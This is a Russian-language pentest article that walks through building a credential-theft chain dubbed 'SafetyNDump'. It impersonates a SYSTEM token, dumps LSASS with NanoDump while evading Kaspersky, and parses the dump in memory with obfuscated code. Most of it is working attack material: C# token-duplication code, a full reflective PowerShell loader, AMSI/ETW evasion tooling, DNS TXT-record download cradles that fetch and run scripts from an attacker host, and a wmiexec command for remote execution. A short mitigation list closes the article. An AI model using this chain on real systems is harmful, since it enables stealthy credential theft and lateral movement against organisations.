Нанодамп
Как я заново изобрел SafetyKatz для дампа LSASS с NanoDump
Pentest Award
Этот текст получил первое место на премии Pentest Award 2024 в категории «Раз bypass, два bypass». Это соревнование ежегодно проводится компанией Awillix.
NanoDump уже успел обрести широкую популярность у вендоров AV/EDR, что поспособствовало написанию для него кучи детектов, поэтому теперь мы можем более свободно поделиться своим опытом его использования на «внутряках».
info
Эта заметка — продолжение темы, начатой в статье «Дампы LSASS для всех, даром, и пусть никто не уйдет обиженный», в которой я показывал, как можно «по‑молодежному» вытаскивать секреты из памяти процесса lsass.
для повышения привилегий в корпоративном домене Active Directory или дальнейших боковых перемещений в недра внутрянки заказчика пентеста.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Вводная
Для начала немного поностальгируем по временам, когда деревья были зеленее, а антивирусные решения не были так жестоки по отношению к рядовым исполнителям проектов по тестированию на проникновение. В то время (около пяти лет до момента написания статьи) в составе коллекции GhostPack появился интересный инструмент SafetyKatz, в рамках разработки которого исследователь @harmj0y вдохнул новую жизнь в небезызвестный Mimikatz, уже на тот момент «палившийся» всем и вся при его использовании в чистом виде.

SafetyKatz декомпозирует процесс извлечения данных аутентификации из LSASS на два этапа: непосредственное создание дампа с помощью API-ручки dbghelp.
и парсинг полученного дампа посредством модифицированного (уменьшенного по своим возможностям) Mimikatz. Последний, в свою очередь, загружается в память по методу PE Reflection и выполняет захардкоженные команды sekurlsa::
и sekurlsa::
в отношении уже созданного ранее дампа памяти. По завершении работы утилиты привнесенные артефакты — минидамп, сохраненный по пути C:\
, — удаляются с файловой системы жертвы.

Такой подход в свое время позволял уменьшить количество детектов использования sekurlsa::
«на живую», сокращал время на выдергивание хешей и ключей (немалый дамп памяти больше не нужно тащить к себе на тачку) и прятал сигнатуру Mimikatz от статического анализа. Примерно такой же подход долгое время применялся моей командой с тем лишь отличием, что я использовал новомодный NanoDump из памяти для создания слепка памяти и библиотеку на C# — для его парсинга на месте.
Дальше мы рассмотрим поподробнее, как создать свой «SafetyNDump» для фана и профита, но сперва ознакомимся со вспомогательным инструментарием.
info
Сразу оговорюсь, что далее не будут рассмотрены действующие на момент написания статьи техники обхода AV/EDR для дампа LSASS. Цель публикации — рассказать, как мы долгое время «абьюзили» одну из лазеек уклонения от «Касперского», и тем самым поделиться своим опытом с коллегами, играющими на стороне дефенса. На данный момент описываемый вектор атаки закрыт.
System.Reflection.Assembly. Король умер, да здравствует король!
Мне очень нравится PowerShell и его возможности в контексте наступательной безопасности. В случае, когда в целевой инфраструктуре не зажжен AppLocker + Constrained Language Mode, простота применения этого инструмента Windows-автоматизации на обычных пентестах — просто подарок для моделируемого злоумышленника. На киберучениях с необходимостью скрытого исполнения команд его тоже можно приспособить под нужды исполнителя с помощью патчинга ETW, вызова ранспейса System.
напрямую (я смотрю на тебя, PowerShx!) и других триксов.
Мы будем целиться в исполнение накрафченного на C# кода через механизм System.
, что поможет еще больше упростить жизнь этичному злоумышленнику при подключении к сетевым узлам через службу WinRM (Windows Remote Management) или, например, с помощью скриптов exec.
из Impacket.
На просторах интернета есть куча материалов, как выполнять код на «шарпах» через PowerShell, но мне, как обычно, не хватало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и... Поэтому в свободное от работы время я написал простую питонячью утилиту bin2pwsh, которая позволяет конвертировать собранные на C# бинари в лаунчеры на PowerShell.

Кратко опишу ее возможности:
- Автоматически создает «запускаторы» на PowerShell из скомпилированных исполняемых файлов на C# на основе предопределенных шаблонов (классический или с использованием примитивов Emit). Байты исполняемых файлов сперва сжимаются с помощью zlib и оборачиваются в Base64 для их встраивания в код скриптов .ps1.
- Можно использовать безумно крутой инструмент Donut, если нужно запускать неуправляемый код из PowerShell для системных вызовов — прямых (форк Donut от @s4ntiago_p для Linux) или непрямых (закрытый форк Donut от @KlezVirus и Porchetta Industries для Windows с возможностью перехеширования на лету). Само исполнение неуправляемого кода достигается за счет предварительной кросс‑компиляции в Linux (с помощью Mono) или обычной компиляции в Windows (с помощью csc.exe) селф‑инжектора на C# на основе темплейтов от @bohops (Unmanaged Code Execution with .NET Dynamic PInvoke) и @dr4k0nia (HInvoke and avoiding PInvoke). Они работают без статических импортов P/Invoke для вызовов WinAPI.
- Позволяет применять несложные техники уклонения от AV: патчинг AMSI, ETW, RC4-шифрование полезной нагрузки с помощью встроенных механизмов Windows и обфускацию статических строк.
Рассмотрим примеры использования.
Пример 1. Базовый
Это простая упаковка Rubeus в PowerShell-лаунчер на основе стандартного шаблона System.
.
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe
bin2pwsh.py Rubeus.exe

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!

Пример 2. Продвинутый
Теперь посмотрим на продвинутую упаковку Rubeus в PowerShell-лаунчер на основе шаблона System.
и его исполнение через запуск селф‑инжектора шелл‑кода, полученного с помощью форка Donut за авторством KlezVirus с динамическим перехешированием непрямых системных вызовов (подробнее о технике рассказывает ролик на YouTube). Чаще всего этот способ используется с нативным кодом, однако паковать таким образом управляемый код также никто не запрещает.
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exepy .\bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:\Tools\SysWhispers3\syswhispers.py -whm jumper_randomized --emit --debug --silent

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")Invoke-RubeusInject

Пример 3. PowerSharpPack своими руками
Ну и на сладкое — пример создания аналога репозитория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за считаные секунды.
git clone https://github.com/Flangvik/SharpCollection
cd SharpCollection/NetFramework_4.0_Any
for exe in ./*.exe; do bin2pwsh.py $exe --silent; done

IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")Invoke-Seatbelt -group=system

Со вспомогательным инструментарием разобрались, вернемся к нашей проблеме. Чтобы оставаться организованными и во имя концепции «разделяй и властвуй», не будем отходить от нарратива декомпозиции SafetyKatz и поочередно рассмотрим создание дампа и его парсинг.
Пишем SafetyNDump. Создание дампа LSASS в обход AV
Итак, первое, с чем нужно разобраться, — это создание дампа памяти lsass.
. Способ должен прокатить с действующим средством защиты.
Олицетворение SYSTEM из неинтерактивной консоли
На момент тестирования NanoDump при работе с «Касперским» стреляла опция -eh
/--elevate-handle
, позаимствованная автором из этой презенташки. Основная идея заключается в открытии хендла к целевому процессу с привилегиями PROCESS_QUERY_LIMITED_INFORMATION
и последующем их повышении до необходимых с помощью ntdll.
!NtDuplicateObject
. Как я писал в предыдущей статье, один из способов блокировки доступа к LSASS — сделать так, чтобы было невозможно получить привилегированный дескриптор lsass.
, и этот трюк позволяет обойти упомянутое ограничение.
Особенность использования опции -eh
в том, что нужно запускать NanoDump с привилегиями NT
, что вносит дополнительные трудности. Тащить на таргет PsExec? Создавать немедленную привилегированную задачу планировщика? Подменять сервисные бинари? Долго, нудно и шумно.
Я решил пойти по пути Token Impersonation (MITRE ATT&CK T1134.001) и модифицировать утилиту tokenduplicator, которой часто пользуюсь как бесфайловой альтернативой PsExec. Сперва посмотрим, как она работает в исходном виде. Я клонирую репозиторий, соберу релиз и сделаю из него PowerShell-лаунчер с помощью bin2pwsh.
git clone https://github.com/magnusstubman/tokenduplicator
cd .\tokenduplicator
devenv /build Release .\tokenduplicator.sln
cd .\tokenduplicator\bin\Release
py .\bin2pwsh.py .\tokenduplicator.exe

Загружаем в память и стягиваем токен у winlogon.
, чтобы запустить шелл с привилегиями системы.
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-tokenduplicator.ps1")Invoke-tokenduplicator winlogon cmd

Все выглядит отлично, за исключением одного но: работать это будет только из интерактивного шелла.

Если вспомнить, чему нас учил OSEP, станет понятно, что, если мы хотим запустить CreateProcessWithTokenW из неинтерактивной сессии, нужно поправить параметры окружения dwLogonFlags
, dwCreationFlags
, lpEnvironment
и lpCurrentDirectory
, установленные по дефолту в tokenduplicator. Без этих опций запущенный процесс тут же крашнется, так как у аккаунта SYSTEM
(который мы олицетворяем) не будет корректно заданного сеанса входа.

Я убрал лишний информационный вывод, и у меня получился такой TokenDuplicator.
:
public static void Main(){ Process[] processes = Process.GetProcessesByName("winlogon"); IntPtr hProcess = processes[0].Handle; OpenProcessToken( hProcess,
0x0002, // TOKEN_DUPLICATE
out IntPtr hToken); DuplicateTokenEx( hToken,
0xF01FF, // TOKEN_ALL_ACCESS
IntPtr.Zero,
2, // SecurityImpersonation
1, // TokenPrimary
out IntPtr hDupToken); CreateEnvironmentBlock(out IntPtr lpEnvironment, hToken, false); STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = @"WinSta0\Default"; StringBuilder sbSystemDir = new StringBuilder(256); GetSystemDirectory(sbSystemDir, 256); CreateProcessWithTokenW( hDupToken,
1, // LOGON_WITH_PROFILE
null,
"powershell iex(new-object net.webclient).downloadstring(""""http://10.10.13.37/cradle.ps1"""")",
0x400, // CREATE_UNICODE_ENVIRONMENT
lpEnvironment,
sbSystemDir.ToString(),
ref si,
out PROCESS_INFORMATION _);}
Теперь при запуске Invoke-TokenDuplicator
из Evil-WinRM мы успешно добиваемся исполнения команды на PowerShell, причем без отображения всплывающего окна интерпретатора у залогиненного пользователя. Да, мы не захватываем вывод исполняемой команды, но это нам и не сильно надо.

SafetyNDump.Net.WebClient или Resolve-DnsName?
Чтобы уложиться в 1024 символа, отведенные на аргумент lpCommandLine
функции CreateProcessWithTokenW
, нам хочешь не хочешь придется использовать загрузочный кредл, чтобы вытянуть и исполнить внешний скрипт на PowerShell, содержащий NanoDump, из которого мы предварительно сделаем лаунчер с помощью bin2pwsh и Donut.
Однако здесь снова на пути могут встать антивирусные решения, которым обычно очень не нравится, когда нечто вроде IEX (IWR
) передается строкой в те места, где происходит спаун процесса (будь то создание объектов класса Win32_Process
через WMI, старт задач планировщика или взаимодействие с Windows API).
На помощь приходит старый трюк с резолвом TXT-записи подконтрольного доменного имени и его последующий пайп в Invoke-Expression
. Этим ходом мы уклоняемся от анализа строковых артефактов загрузки и исполнения «чего‑то непонятного», что ожидаемо станет триггером для AV. Осознание того, что это сработает на нашем любимом антивирусе, пришло после экспериментов с запуском PowerShell через wmiexec.
.


В целом, я думаю, идея ясна: идем в настройки своего домена и делаем примерно так, как на рисунке ниже.

После этого можем передавать URL, с которого надо грузить полезную нагрузку, следующим образом в IEX:
$url="http://10.10.13.37/payload.txt"IEX(Resolve-DnsName "cradle.contoso.com" 16).Strings[0]

С учетом этого трюка теперь наш код для спауна нового процесса с кредлом будет выглядеть так:
CreateProcessWithTokenW( hDupToken, 1, // LOGON_WITH_PROFILE null, $"powershell $url=""""{args[0]}"""";IEX(Resolve-DnsName """"cradle.contoso.com"""" 16).Strings[0]", 0x400, // CREATE_UNICODE_ENVIRONMENT lpEnvironment, sbSystemDir.ToString(), ref si, out PROCESS_INFORMATION _);
Теперь все, что осталось сделать для первой части (создания дампа LSASS), — это слепить лаунчер на PowerShell для NanoDump и убедиться, что все работает.
curl -sSL https://github.com/helpsystems/nanodump/raw/main/dist/nanodump.x64.exe -o nanodump.exe
bin2pwsh.py 'nanodump.exe -w C:\Windows\Temp\debug.bin -eh' --donut --debug# Вытаскиваем содержимое тела функции в сырой скрипт, который выполнится сразу после IEXvim Invoke-nanodumpInject.ps1
IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-TokenDuplicator.ps1")Invoke-TokenDuplicator http://10.10.13.37/Invoke-nanodumpInject.ps1Get-Item C:\Windows\Temp\debug.bin

Не будем отходить от плана и перейдем ко второму таску — парсингу созданного дампа on-site.
Пишем SafetyNDump
Парсинг MiniDump
Главная проблема, которая, на мой взгляд, поспособствовала созданию SafetyKatz, — отсутствие гибкого опенсорсного софта (например, на том же C#) для парсинга формата MiniDump. Эту фичу можно было бы куда более изящно встроить в свой код. Отсюда нужда во всех этих выкрутасах с отраженной загрузкой PE в память. Однако время идет, наступательное ПО совершенствуется, равно как и антивирусное, и поэтому сейчас мы можем парсить LSASS из памяти более изящно. Например, с помощью варианта MiniDump от @cube0x0.
Чтобы использовать эту утилиту (по мне, так это больше библиотека), я захардкожу входные аргументы и обфусцирую строки с помощью InvisibilityCloak — если этого не сделать, сканирование памяти процесса может найти сходство кода с «мимиком» и забить тревогу. Сначала я тоже исправлял сигнатуру минидампа перед его чтением (NanoDump ее намеренно ломает, чтобы не плодить IOC при сохранении файла на диск), но на самом деле в этом нет необходимости.

py .\InvisibilityCloak.py -d .\MiniDump -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % )) -m reverse

Далее я скомпилирую бинарь и... Снова заюзаю bin2pwsh, чтобы превратить его в скрипт на PowerShell.

Проверяем, что все работает, и выходим на финишную прямую — объединение всей этой вкуснятины в один сценарий на PowerShell.

Объединение результатов
Думаю, всем будет проще, если я просто приведу финальный код, сопровожденный комментариями.
function Invoke-Stage{ # Если 1, то первая фаза: повышаемся до системы + делаем дамп if ($args[0] -eq "1") { $b64 = "<TOKENDUPLICATOR_BYTES_COMPRESSED_BASE64>" $namespace = "TokenDuplicator" $assemblyArgs = (, [string[]]$args[1..($args.Count)]) } # Иначе (если 2), то вторая фаза: парсим дамп, сделанный на первой фазе else { $b64 = "<MINIDUMP_BYTES_COMPRESSED_BASE64>" $namespace = "wUFgAhfzjrXKDRGY" $assemblyArgs = $null } # Обратное преобразование: Base64 -> распаковка -> массив байтов $a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String($b64)) $b = New-Object System.IO.Compression.DeflateStream($a, [System.IO.Compression.CompressionMode]::Decompress) $c = New-Object System.IO.MemoryStream; $b.CopyTo($c) [byte[]]$d = $c.ToArray() # Если вторая фаза, то нам нужен вывод сборки С# # (перенаправляем стандартные дескрипторы вывода в строки) # Иначе (если первая фаза) вывод не требуется -> skip if ($args[0] -eq "2") { $e = [System.Console]::Out $f = [System.Console]::Error $g = New-Object System.IO.StringWriter $h = New-Object System.IO.StringWriter [System.Console]::SetOut($g) [System.Console]::SetError($h) } # Отраженно загружаем в память сборку С#, ищем в ней точку входа по именам пространства имен, класса и метода и делаем ее Invoke с аргументами $i = [System.Reflection.Assembly]::Load($d) $j = [Reflection.BindingFlags]"Public,NonPublic,Static" $k = $i.GetType("${namespace}.Program", $j) $l = $k.GetMethod("Main", $j) $l.Invoke($null, $assemblyArgs) # Если вторая фаза, то нам нужен вывод сборки С# # (восстанавливаем стандартные дескрипторы, выводим результат из строк на экран) # Иначе (если первая фаза) вывод не требуется -> skip if ($args[0] -eq "2") { [System.Console]::SetError($f) [System.Console]::SetOut($e) $m = "" $m += $g.ToString() $m += $h.ToString() $m }}function Invoke-SafetyNDump{ # Первая фаза: TokenDuplicator + NanoDump --elevate-handle # Дополнительно на вход передаем URL, откуда будем качать Invoke-nanodumpInject.ps1 Invoke-Stage 1 $args[0]; Sleep 10 # Вторая фаза: MiniDump Invoke-Stage 2; rm C:\Windows\Temp\debug.bin}
Меняем заглушки на Base64-строки байтов TokenDuplicator
и MiniDump
, и мы готовы к финальной пробе! Сейчас этот метод уже не отработает на «Касперском», поэтому на нем показывать результат бессмысленно. Вместо этого я постараюсь воспроизвести свои действия с реальных пентестов на демонстрационном стенде.
~ wmiexec.py -silentcommand -nooutput megacorp.local/snovvcrash:'Passw0rd!'@PC01.megacorp.local 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe url=""""http://10.10.13.37/Invoke-SafetyNDump.ps1"""";iex(resolve-dnsname """"cradle.contoso.com"""" 16).strings[0];Invoke-SafetyNDump http://10.10.13.37/payload.txt'

Что здесь произошло:
- Проверили, что результирующих файлов нет на машине‑жертве (откуда взялся файл
lol.
, смотри в шаге 2).txt - Дернули
Invoke-SafetyNDump.
с помощьюps1 wmiexec.
без запроса вывода результата команды (флагиpy -silentcommand
). Чтобы перенаправить вывод-nooutput Invoke-SafetyNDump
, для демонстрации я изменил его запуск следующим образом:Invoke-Stage
. В файле2 > C:\ Windows\ Temp\ lol. txt payload.
содержится PowerShell-лаунчер NanoDump.txt - Показали, что NanoDump отработал, чтением результатов из файла
C:\
. В результате мы получили свои хеши.Windows\ Temp\ lol. txt
Вот так без особых заморочек можно скрафтить продвинутую «малварь» (для нужд этичного хакинга!) из открытого ПО и пары строк на PowerShell.
Противодействие
Вместо заключения я приведу список рекомендаций по митигации злоупотребления нарушителем возможностями PowerShell. Предполагается, что речь идет о корпоративной среде Active Directory и обезопасить нам нужно в первую очередь терминальные серверы и рабочие станции пользователей.
- Установить режим Constrained Language для блокирования потенциально опасных функций средства PowerShell (например, командлета
Invoke-Expression
), отключения возможности создания объектов COM и .NET, добавления собственных типов данных с помощью командлетаAdd-Type
и других возможностей, которые широко используются вредоносным ПО. - Настроить правила безопасности выполнения сценариев через средство AppLocker или с помощью механизма SRP (политики ограничения ПО, Software Restriction Policies) для запрета использования сторонних скриптов PowerShell.
- Отключить движок небезопасной версии PowerShell 2.0 (в которой не используется механизм защиты AMSI), а также отключить среду разработки PowerShell ISE.
- Внедрить использование политик безопасности Windows Defender Application Control (WDAC) для контроля запуска исполняемых файлов в соответствии с особенностями рабочего процесса сотрудников.
Всем шоколадок и веселых пентестов!